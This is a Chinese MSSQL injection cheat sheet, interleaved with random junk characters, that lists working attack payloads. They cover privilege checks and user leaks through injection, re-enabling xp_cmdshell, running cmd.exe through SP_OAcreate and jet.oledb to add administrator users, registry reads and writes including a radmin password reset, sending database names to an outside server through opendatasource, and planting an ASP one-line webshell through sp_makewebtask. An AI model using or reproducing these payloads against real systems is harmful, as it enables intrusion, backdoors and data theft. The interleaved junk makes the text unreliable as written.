//看看是什么权限的9 z* q$ q5 g- e1 O+ \3 ?+ e
and 1=(Select IS_MEMBER('db_owner'))- i& n8 r/ H# u0 y1 @
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
8 ]8 c; N' F" @( q8 x
4 s" E7 `3 s6 N//检测是否有读取某数据库的权限( I7 k* p; f) o$ V2 W3 O; ]4 n; K
and 1= (Select HAS_DBACCESS('master'))/ A: } [- Z8 y
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
' L9 G: u; ]1 \2 l/ u2 H$ V# g. M# ]
6 w, N/ `; y( Y. Z! q; p& c' P3 ? u% [" x, E/ ?, @# Y1 g6 i
数字类型
# L3 o: z. m7 \7 iand char(124)%2Buser%2Bchar(124)=0; ~1 N& z3 s% p, F6 r
# k9 s; v8 ?7 T/ g& C4 L; n: Z字符类型& {/ D3 ?* D& N8 I. I
' and char(124)%2Buser%2Bchar(124)=0 and ''='
5 ~' e( D" ~; R, W' p. k0 F/ A1 ^# @
搜索类型( v3 u" v* G# Z8 H" D
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
+ B/ u* s' y( z2 V
0 F1 g+ t* a3 E0 [8 C* W& p, ?' k( m爆用户名 U7 ^3 y1 s7 L0 a# E+ R$ {3 _* V9 ]
and user>0+ j3 r/ E {. H: n/ @2 r& W
' and user>0 and ''='
8 T+ B& d* L1 g/ P- x7 g& J2 ?5 c9 L: W& _
检测是否为SA权限
5 @! s& z# {' Q4 a. n4 Y6 G6 fand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
, g* K* X$ d9 J6 n3 LAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
! I6 G( G1 n& K5 T, h
1 [" y1 k! G3 A8 |/ S/ O检测是不是MSSQL数据库4 K3 |! g( f% I0 N
and exists (select * from sysobjects);--4 g! d5 ]: c& g+ u
' _# T/ o5 V: Q5 \5 h* {
检测是否支持多行
9 L2 L9 i7 Y$ C G- b; i" s;declare @d int;--
9 n' M0 R# D4 A, q2 [( q; o/ `- |, `8 z& Y$ X. h: [3 N0 ?$ s
恢复 xp_cmdshell$ ?7 }% t2 O8 U7 q; D
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
8 E' y" g0 T$ v; [5 Y/ E/ z9 p- n: ]5 y+ a, \
" K- a4 r( |) [) o) T
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')4 Y* w; q$ J& p9 I; E; J- y: p
1 X& x8 I3 V; r% n: S8 l4 Z5 K//-----------------------
6 o2 B o' ^9 ^5 d$ U' N// 执行命令
1 A5 M& O/ e9 t3 }% i/ z2 V8 D//-----------------------* S; `- U6 I: L6 k+ o+ X$ l
首先开启沙盘模式:( Z4 y! G- s# m
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',13 y' E# `" {& O/ G4 i9 `
) v* ?' U. w& ^* ~+ Q, d. @然后利用jet.oledb执行系统命令
) k+ f% T1 u0 D9 o7 L5 m4 Pselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")') @. m! z ?" `) t
. K! i3 y% k$ j6 S
执行命令
& b: k) R% F3 U) Z8 f1 K" L;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
0 u! D8 D5 p" M( J) |3 Q Y4 [2 a
3 I j8 D2 E. F4 A0 v1 e: LEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'4 [7 j1 Y& U+ `0 T1 q
* O: N) R! P- r6 j0 x4 s判断xp_cmdshell扩展存储过程是否存在:( p; I$ s! V. ^: l2 F
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
$ g) z9 E# [: M
! Z X0 u! n& O写注册表1 o$ t# ^! s" W1 L7 u5 n4 g
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
0 Q9 Z; v$ j$ a
6 g: l8 F H' `REG_SZ0 `* Q; s9 j" ]5 p7 P- A+ Y
/ Z, b3 e- p) z* r读注册表
4 R$ p' ^* m9 [. V, W1 V) _+ Nexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
! d+ c5 h. l7 E$ L# D% k4 n( N9 k/ l- E
读取目录内容
$ _# v; [# @4 {( \: f2 Q) Q- S8 w& ^2 sexec master..xp_dirtree 'c:\winnt\system32\',1,1
8 n9 \$ y( P1 k" S7 x* } b _' x/ g
- X& l; n2 Q/ f/ s8 X: H
数据库备份
% {2 y5 }, ~9 ^7 Sbackup database pubs to disk = 'c:\123.bak'
- G8 I& q) L# g% |
( f* q2 k: F; E//爆出长度( K; X) p z0 b3 S$ W. K' P; q: l
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--: p- ~6 f/ {! g+ f
& h1 ^! E! K3 V. X [! c) @+ F: K0 I9 W/ r: i
8 F) ]7 W# X: a2 ^7 r: E更改sa口令方法:用sql综合利用工具连接后,执行命令:
! S V* ?* X% U6 Fexec sp_password NULL,'新密码','sa'
/ x; i3 K4 Y w( X+ d3 G7 J( _2 u6 ]* W2 k- m3 T' ?9 n' X
添加和删除一个SA权限的用户test:
$ B& y' P3 q: f& D0 P0 g6 K/ Iexec master.dbo.sp_addlogin test,9530772
9 D8 W6 _$ E) M$ m0 ^. n* C! @% Pexec master.dbo.sp_addsrvrolemember test,sysadmin& u+ {3 c ~ ^
$ [7 ]' I, {' [# E删除扩展存储过过程xp_cmdshell的语句: e T9 |, J+ V' H7 u: E% q" r
exec sp_dropextendedproc 'xp_cmdshell') F' C/ W" R* W# z5 a* W6 m0 `
, H, {2 {9 U4 w( V* l1 B& X
添加扩展存储过过程
- K# Q$ h( p7 OEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' ^0 O, t1 d& A/ B+ u! s8 M8 L
GRANT exec On xp_proxiedadata TO public
. e! _& K" Y) E; o8 x6 a1 `7 z& q2 C0 x7 M
- m1 Z" R; z0 }, }- p
停掉或激活某个服务。
/ D% T9 `& T4 ^$ s& R( J3 e1 h( n) Q X8 A3 {
exec master..xp_servicecontrol 'stop','schedule'
) {- g! S' H( w+ H/ o+ C6 vexec master..xp_servicecontrol 'start','schedule'
3 \& Q( _+ X$ J. e
5 Z8 |. Z, O( N% t8 d9 c4 l/ Rdbo.xp_subdirs! `& u$ V* r% B. q! @, J( X5 X+ H
! e" C; m) m3 g7 N: h* [& L: g- N
只列某个目录下的子目录。 s; } |0 B( S( K$ \
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
/ n- x+ A! Z d5 h7 y, |, I! m
; v/ n+ w' e/ m$ T( ^dbo.xp_makecab
) J% `8 q4 [7 N9 f% v
4 Y3 j7 Y1 ]* E) g" a将目标多个档案压缩到某个目标档案之内。
1 n% b$ `) [: Q6 s2 [8 ~所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。' h4 X4 P/ s& y
+ d F2 H% n4 L5 F& z+ l3 T9 _dbo.xp_makecab
) p' I1 M V7 M* Z# R- V, N'c:\test.cab','mszip',1,
) j- V0 w& ^- m0 @8 _'C:\Inetpub\wwwroot\SQLInject\login.asp',* F9 ?, [4 _7 s: j3 P- j8 d
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
9 [9 f& _3 Q8 q4 Y3 ?! X6 `* X# p1 }' p% D+ x& P
xp_terminate_process, ^0 p$ V6 j4 Q, j( _( H& D
4 b2 c3 e: b$ i: {3 T/ V5 A6 F停掉某个执行中的程序,但赋予的参数是 Process ID。, T# k7 E; r; f: j
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID/ C4 f, i9 `' a" L4 L0 G. s1 X% _
8 ^5 c, t3 @6 a i" s9 k
xp_terminate_process 24844 |) v6 C! `7 ]+ _, J
2 Z. ^" h( @: S w% R( j# exp_unpackcab
9 R5 o: E! @3 |2 ~* B9 h0 K* G' h- h+ X
解开压缩档。+ l. l( n$ m5 x" g% D3 d
. d" C& h! U+ N* u3 Sxp_unpackcab 'c:\test.cab','c:\temp',1
1 X) \# s. I2 m. d$ F+ F) u* T) C3 A x. B( \: o" o% _" {
- a1 S& `( i3 _* v& l7 Q6 A+ n
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
* H( E6 s( C2 u ~9 v- J1 o& S* a0 D
create database lcx;
% E R& z1 H; `$ jCreate TABLE ku(name nvarchar(256) null);$ M/ @* w5 y5 E( \$ M
Create TABLE biao(id int NULL,name nvarchar(256) null);4 Z+ e. Z" ?) {' P F
1 |/ P' N/ r' `3 x& t//得到数据库名
! A, n7 `. C, g& t" Z& Linsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
: H9 v" }. }+ e- H; t# U0 m
0 F$ @# ?! X8 U- [* e4 B/ D
, s3 ^! Q# p$ g0 D7 Q& m% u* Q//在Master中创建表,看看权限怎样: |. z) u9 Z- O6 e+ l5 P
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
7 R- v8 m0 {/ a5 {- c4 j$ x) ?
8 ?5 O9 E! J4 v+ w% l5 V5 I% M用 sp_makewebtask直接在web目录里写入一句话马:
- |- s1 R) Y3 `2 p, p( _http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
7 O2 d& v: N/ \2 J7 t1 u5 p0 K# e. |
; \& H8 X8 e# z/ s/ m+ \( {//更新表内容
' p5 R9 t. g0 H9 ^: ^Update films SET kind = 'Dramatic' Where id = 123
" G8 E" b5 m- n: y, Q/ I
* C/ {0 L# D8 {//删除内容
! Q% K: f& N3 \3 A6 P4 I }8 [. Xdelete from table_name where Stockid = 3 |